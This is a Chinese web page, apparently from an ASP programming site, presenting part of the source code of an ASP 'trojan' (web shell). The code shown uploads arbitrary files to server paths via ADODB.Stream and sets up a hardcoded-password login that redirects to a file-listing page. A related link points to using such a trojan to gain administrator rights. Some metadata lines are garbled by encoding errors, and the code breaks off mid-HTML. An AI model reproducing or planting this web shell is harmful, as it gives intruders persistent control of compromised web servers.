• λ我爱Aspx >> Asp.Net >> 一个ASP木马程序的源代码
  • 一个ASP木马程序的源代码

  • :aspxer  Դ:internet  :2007-5-15 20:47:23  ؼ:asp
  • If FullPath <> "" Then

    GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)

    Else

    GetFileName = ""

    End If

    End function

    End Class

    Class FileInfo

    dim FormName,FileName,FilePath,FileSize,FileType,FileStart

    Private Sub Class_Initialize

    FileName = ""

    FilePath = ""

    FileSize = 0

    FileStart= 0

    FormName = ""

    FileType = ""

    End Sub

    Public function SaveAs(FullPath)

    dim dr,ErrorChar,i

    SaveAs=true

    if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function

    set dr=CreateObject("Adodb.Stream")

    dr.Mode=3

    dr.Type=1

    dr.Open

    Data_5xsoft.position=FileStart

    Data_5xsoft.copyto dr,FileSize

    dr.SaveToFile FullPath,2

    dr.Close

    set dr=nothing

    SaveAs=false

    end function

    End Class

    httpt = Request.ServerVariables("server_name")

    rseb=Request.ServerVariables("SCRIPT_NAME")

    q=request("q")

    if q="" then q=rseb

    select case q

    case rseb

    if Epass(trim(request.form("password")))="q_ux888556" then

    response.cookies("password")="7758521"

    response.redirect rseb & "?q=list.ASP"

    else %>

    <html>

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

    <title><%=httpt%></title>

    <meta name="GENERATOR" content="Microsoft FrontPage 3.0">

    </head>

    Ҷƪл˵?
  • һƪ利用ASP木马程序获取管理权限
    һƪ一个ASP统计制作实例